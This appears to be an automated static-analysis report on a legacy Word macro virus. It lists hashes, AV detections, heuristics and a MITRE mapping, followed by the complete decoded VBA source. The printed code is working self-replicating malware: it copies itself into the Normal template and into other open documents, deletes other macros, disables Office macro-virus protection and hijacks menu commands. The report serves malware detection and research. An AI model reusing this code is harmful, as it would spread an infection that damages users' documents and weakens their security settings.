Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bdd9a04962b57c11…

MALICIOUS

Office (OLE)

41.0 KB Created: 1998-12-18 18:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 74e33f28cdbf109b21414f053ce22a7f SHA-1: daf7812a865011e854b78d33ce01284cd16e5548 SHA-256: bdd9a04962b57c11d3da41d341578f2fae34e4d598f4abe2d9feb5c44aae4f5a
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically using WordBasic and VBA macros. The presence of AutoOpen and Auto_Close macros, along with the ClamAV detections 'Doc.Trojan.Mamm-1' and 'Doc.Trojan.Titasic-2', strongly suggests a malicious intent related to macro-based infection and replication. The script attempts to copy itself and modify NormalTemplate, indicating a persistence or spreading mechanism.

Heuristics 6

  • ClamAV: Doc.Trojan.Mamm-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mamm-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    AutoOpen
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5597 bytes
SHA-256: 303a371608a4ab77da6e01f2c3dc31cba4e6b52f021f920dcb6c1c44076c5127
Detection
ClamAV: Doc.Trojan.Titasic-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aviro"
Public AD As Object, aDes As Variant
Public NonMAMM As Boolean, afound As Boolean, hapus As Boolean, reset As Boolean, aExc As Boolean, DocCount As Boolean

Function AstMaster()
Dim nmak(1) As String
Dim NT As Object
Dim aSrc$
On Error GoTo selesai
nmak(0) = "aviro"
nmak(1) = "MAMM"

aSrc = MacroContainer
Set NT = NormalTemplate
If Not DocCount Then
Set AD = ActiveDocument
ElseIf aSrc <> "MAMM.dot" Then
aSrc = NT
End If

If aSrc = NT Then
aSrc = NT.FullName: Set aDes = AD
ElseIf aSrc = AD Then
aSrc = AD.FullName: Set aDes = NT
ElseIf aSrc = "MAMM.dot" Then
Set aDes = NT
aSrc = Options.DefaultFilePath(8) & "\MAMM.src"
End If

Mhapus aDes
With aDes.VBProject
If Not (Not hapus And .Description = "aviro" And .VBComponents.Count > 2) Then
    Mcopy aSrc, aDes, nmak
    hapus = False
    .Description = "aviro"
    If aDes = NT Then
        Options.SaveInterval = 1
        CustomizationContext = NT
        CommandBars("Tools").reset
        KeyBindings.Add KeyCode:=BuildKeyCode(77, 1024), KeyCategory:=1, _
        Command:="ToolsRecordMacroStart"
        aDes.Save
    End If
    CommandBars("Macro").Controls(2).OnAction = "ViewVbCode"
Else
GoTo Aksi
End If
End With
If afound = True Then Exit Function
Refresh
On Error Resume Next
Aksi:
If aExc = True Then Exit Function
Exit Function
selesai:
If Err.Number = 50289 Then
MsgBox "If you delete this, you have no heart", vbInformation, "To: MAMM"
End If
End Function

Sub Mhapus(Sfile)
Dim nmak As Object
For Each nmak In Sfile.VBProject.VBComponents
    If nmak.Name = "NewMacros" Then NonMAMM = True
    If nmak.Name <> "ThisDocument" And nmak.Name <> "NewMacros" _
    And nmak.Name <> "aviro" And nmak.Name <> "MAMM" Then
        hapus = True
        If reset Then
        Application.OrganizerDelete Sfile.FullName, nmak.Name, 3
        Else
        nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines
        End If
    End If
Next nmak
End Sub

Sub Mcopy(Sfile, Dfile, nmak)
Dim aNmak
For Each aNmak In nmak
Application.OrganizerCopy Sfile, Dfile.FullName, aNmak, 3
Next
End Sub

Sub Action()
Attribute Action.VB_ProcData.VB_Invoke_Func = "Normal.aviro.Action"
On Error Resume Next
WBT
MsgBox "If you delete this, you have no heart", vbInformation, "To: MAMM"
WBF
End Sub

Sub FileOpen()
WBT
If Dialogs(80).Show <> 0 Then
WBF
AutoOpen
Else
WBF
End If
End Sub

Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
AstMaster
If Documents.Count > 1 Then
    For i = 1 To Documents.Count
    If Documents(i).Name <> ActiveDocument.Name Then
    Set AD = Documents(i)
    DocCount = True
    hapus = False
    AstMaster
    End If
    Next
End If
If Now > DateSerial(1998, 9, 15) Then Application.OnTime When:=Now + TimeValue("00:45:00"), Name:="aviro.Action"
End
End Sub

Sub ViewVbCode()
On Error Resume Next
SendKeys "%m%s{down}~%d'If you delete this, you have no heart'%m"
End Sub

Sub AutoExec()
On Error Resume Next
If MacroContainer <> NormalTemplate Then
aExc = True
AstMaster
WBT
AddIns.Unload False
WBF
End If
Application.EnableCancelKey = wdCancelDisabled
End Sub

Sub AutoExit()
Dim aAddin As Object
On Error GoTo batal
WBT
If Documents.Count <> 0 Then Documents.Close
Options.DefaultFilePath(2) = Options.DefaultFilePath(6)
afound = True
For Each aAddin In AddIns
    If aAddin.Name = "MAMM.dot" Then afound = False
Next aAddin
        
afoundIf True Then
Application.Visible = False
Documents.Add
AstMaster
    With ActiveDocument
        .SaveAs FileName:=Options.DefaultFilePath(8) & "\MAMM.src", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
        .SaveAs FileName:=Options.DefaultFilePath(8) & "\MAMM.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False
    End With
End If
Application.Quit
batal:
WBF
End Sub

Sub ToolsMacro()
WBF
On Error GoTo batal
Mhapus ActiveDocument
If NonMAMM Then
    If MacroContainer = ActiveDocument Then Application.Run NormalTemplate.VBProject.Name & ".aviro.ToolsMacro": Exit Sub
    Application.DisplayAlerts = 0
        With Dialogs(215)
        .Description = "If you delete this, you have no heart"
        If .Display = 1 Then .Execute
        End With
    Application.DisplayAlerts = -1
Else
ViewVbCode
End If
batal:
End Sub

Sub FileTemplates()
WBF
If Not reset Then Dialogs(87).Display
End Sub

Sub FormatStyle()
WBF
Dialogs(180).Show
End Sub



Function Refresh()
reset = True
FileTemplates
Mhapus aDes
End Function

Sub AutoClose()
Application.DisplayAlerts = -1
With Options
.SaveNormalPrompt = False
.SaveInterval = 10
.VirusProtection = False
End With
If ActiveWindow.Caption <> "MAMM" And InStr(1, ActiveDocument.Name, "Docume", 1) = 0 _
And ActiveDocument.Name <> "MAMM.dot" Then AstMaster
End Sub

Sub FileExit()
AutoExit
End Sub

Sub ToolsOptions()
Options.DefaultFilePath(wdUserTemplatesPath) = "C:\Program Files\Microsoft Office\Templates"
Dialogs(wdDialogToolsOptions).Show
Options.DefaultFilePath(wdUserTemplatesPath) = Application.Path
End Sub

Function WBT()
WordBasic.disableautomacros True
End Function

Function WBF()
WordBasic.disableautomacros False
End Function




Attribute VB_Name = "MAMM"
' This is just template